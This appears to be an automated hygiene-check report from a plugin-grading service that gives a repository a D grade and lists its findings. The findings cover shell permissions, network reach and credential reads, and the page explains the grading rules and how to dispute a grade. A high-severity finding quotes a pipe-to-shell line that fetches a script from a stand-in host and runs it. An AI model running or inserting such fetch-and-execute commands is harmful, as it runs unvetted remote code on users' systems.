Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

Rescanned at commit 48d8d2e9bc42, unchanged since the check below.

INSTALL_REMOTE_SCRIPT

Why this grade

  • INSTALL_REMOTE_SCRIPT High

    Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).

    tools/src/policy.rs, line 244 "; cargo install cargo-audit\n curl -fsSL https://x.example/i.sh \\\n | sh\n - run: npm install\n - run:

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Note

    requests shell access. The manifest names this permission.

    PERMISSION_SHELL_DECLARED

    docs/design/baseline/bench.py, line 26

    self.p = subprocess.Popen([au, "serve", "--mcp"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)

    docs/design/baseline/bench.py, line 71

    subprocess.run([ADB, *args], capture_output=True)

    docs/design/baseline/mcp_demo.py, line 8

    p = subprocess.Popen([sys.argv[1], "--target", (sys.argv[2] if len(sys.argv) > 2 else "au-e2e"), "serve", "--mcp"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)

  • Install and update

    Serious

    install fetches a script from the network.

    "; cargo install cargo-audit\n curl -fsSL https://x.example/i.sh \\\n | sh\n - run: npm install\n - run:

  • Network

    Concern

    can reach a host that is not written as a fixed address.

    NETWORK_NO_FIXED_HOST

    install/install.sh, line 12

  • Secrets

    Concern

    reads a credential or environment file.
